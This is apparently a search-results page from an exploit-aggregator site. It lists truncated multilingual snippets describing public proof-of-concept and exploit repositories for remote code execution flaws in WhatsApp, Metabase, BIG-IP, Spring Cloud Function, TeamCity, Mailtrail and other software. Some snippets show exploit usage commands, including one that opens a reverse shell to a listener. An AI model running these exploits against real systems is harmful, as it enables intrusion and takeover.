270194 matches found
WhatsRCE
WhatsRCE Это автоматически сгенерированный пейлоад для CVE-2019-11932 удаленное выполнение кода в WhatsApp 1. Автоматическая установка GCC безопасная команда, вы можете убедиться, что это открытый исходный код 2. Сохранение в .GIF файл Как использовать? root@kitploit: sudo apt install git git clo...
CVE-2023-38646-PoC-Metabase
CVE-2023-38646-PoC-Metabase CVE-2023-38646 を悪用するための Proof-of-Concept スクリプト。教育および研究目的のみを想定しています。 説明 これは、Metabase に影響を与える脆弱性 CVE-2023-38646 を悪用するための Python ベースの Proof-of-Concept PoC スクリプトです。このエクスプロイトは、設定ミスを悪用してリモートコマンド実行を達成します。 ⚠️ 免責事項 :...
CVE-2019-17564
CVE-2019-17564 CVE-2019-17564 Apache Dubbo デシリアライゼーション RCE 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4...
RCE-CVE-2020-5902
RCE-CVE-2020-5902 BIG-IP F5 원격 코드 실행 설명 이 공격들은 F5 Networks에서 제조한 다목적 네트워킹 장치인 BIG-IP를 대상으로 합니다. BIG-IP 장치는 트래픽 셰이핑 시스템, 로드 밸런서, 방화벽, 액세스 게이트웨이, 속도 제한기 또는 SSL 미들웨어로 작동하도록 구성할 수 있습니다. 수요일, F5 Networks는 BIG-IP 장치의 "원격 코드 실행" 취약점에 대한 보안 권고를 발표하고 패치를 공개했습니다. F5는 CVE-2020-5902로 추적되는 이 취약점으로 인해 공격자가 인터넷...
Nuclei-Template-CVE-2024-50379
Nuclei-Template-CVE-2024-50379 Описание Этот шаблон Nuclei обнаруживает серверы Apache Tomcat, уязвимые к состоянию гонки TOCTOU, которое позволяет удалённое выполнение кода RCE. ⚠ Важное примечание : Этот шаблон должен использоваться исключительно в образовательных целях и в контролируемых среда...
CVE-2022-22963_Reverse-Shell-Exploit
Эксплойт обратной оболочки CVE-2022-22963 Это Python-скрипт, который эксплуатирует CVE-2022-22963, уязвимость удаленного выполнения кода в Spring Cloud Function, позволяющую злоумышленникам выполнять произвольный код на уязвимом сервере. Эксплойт использует уязвимую конечную точку /functionRouter...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Java 안전하지 않은 역직렬화 랩 안전하지 않은 역직렬화에 취약하여 RCE로 이어지는 기본 Java REST 애플리케이션입니다. 이 프로젝트는 Java 8u45 에서 실행해야 합니다. Maven 기반이며 다음 종속성을 사용합니다: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 더 많은 가젯gadget을 시도하려면 Maven을 통해 추가 종속성을 추가할 수 있습니다. 실행 Intellij Idea 사용을 권장합니...
s2-048
s2-048 Эксплойт для s2-048, CVE-2017-9791. root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...
CVE-2026-34197
CVE-2026-34197 — Apache ActiveMQ Classic의 Jolokia API를 통한 RCE TL;DR Apache ActiveMQ Classic 의 원격 코드 실행 취약점으로, 공격자가 Jolokia API/api/jolokia/를 통해 addNetworkConnectorString MBean 작업을 호출하여 임의 코드를 실행할 수 있습니다. 공격자는 원격 Spring XML 파일을 가리키는 악성 brokerConfig 매개변수를 삽입하며, ActiveMQ가 이를 가져와 파싱하면서 임의의 Java 객체를...
CVE-2023-24249-Exploit
CVE-2023-24249 Эксплойт-скрипт Описание Этот репозиторий содержит эксплойт-скрипт для CVE-2023-24249, критической уязвимости, обнаруженной в laravel-admin версии 1.8.19. Данная уязвимость позволяет произвольную загрузку файлов, что даёт злоумышленникам возможность выполнить произвольный код через...
CVE-2026-34038
CVE-2026-34038: Аутентифицированное удаленное внедрение команд в Coolify Этот репозиторий содержит документацию и анализ для CVE-2026-34038 , критической уязвимости внедрения команд в Coolify. Краткое описание Аутентифицированная уязвимость удаленного внедрения команд CWE-78 в Coolify позволяет...
CVE-2019-5544_CVE-2020-3992
SLP 서비스 스캐너 CVE-2019-5544 CVE-2020-3992 SRVLOC/SLP 프로토콜을 구현하여 활성화된 OpenSLP 서비스를 스캔하는 Python 스크립트입니다. CVE-2019-5544, CVE-2020-3992 또는 CVE-2021-21974의 영향을 받는 시스템을 검색할 때 유용하게 사용할 수 있습니다... VMware 취약점에 대한 자세한 정보는 예를 들어 다음에서 확인할 수 있습니다:...
React2Shell-Exploit-CVE-2025-55182
💀 React2Shell 익스플로잇 — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...
CVE-2025-48384
CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...
CVE-2016-2555
CVE-2016-2555 エクスプロイト このエクスプロイトは、ATutor 2.2.1 のSQLインジェクションの脆弱性 と認証の弱点となる脆弱性 を標的としています。これらの脆弱性を悪用することで、攻撃者は悪意のあるコードをアップロードし、脆弱なサーバー上でリモートコード実行（RCE）を達成できます。 使い方 root@kitploit: $ python3 CVE-2016-2555.py target:port 例: root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 特徴 ATutor 2.2.1 の SQL...
CVE-2023-422-Chamilo-LMS-RCE
Предварительные требования root@kitploit: pip install requests Информация Python-скрипт использует уязвимость CVE-2023-422 для загрузки файла на сервер и использует этот файл для отправки реверс-шелла в прослушиватель netcat, и всё это можно сделать без аутентификации. Однако вам нужно будет...
CVE-2023-42793
О CVE-2023-42793 Сначала вам нужно получить токен с помощью другого эксплойта. Однако следующий эксплойт позволит вам получить RCE на Linux-сервере, так как он кодирует полезную нагрузку в URL и отправляет её на сервер. Как использовать root@kitploit: python3 ./main -t TEAMCITYTOKEN -u...
CVE-2023-27163-AND-Mailtrail-v0.53
자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 전달합니다. Mailtrail v0.53 애플리케이션이 전달되면, 이에 대해 리버스 셸 명령을 실행하며 몇 초 내에 사용자는 머신에 대한 리버스 셸을 획득해야 합니다. 명령어 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Удаленное выполнение кода в плагине Social Warfare для WordPress Этот репозиторий содержит рабочий эксплойт на Python для CVE-2019-9978 — уязвимости удаленного выполнения кода в плагине Social Warfare для WordPress версии = 3.5.2. Описание Параметр swpdebug в файле admin-post.php...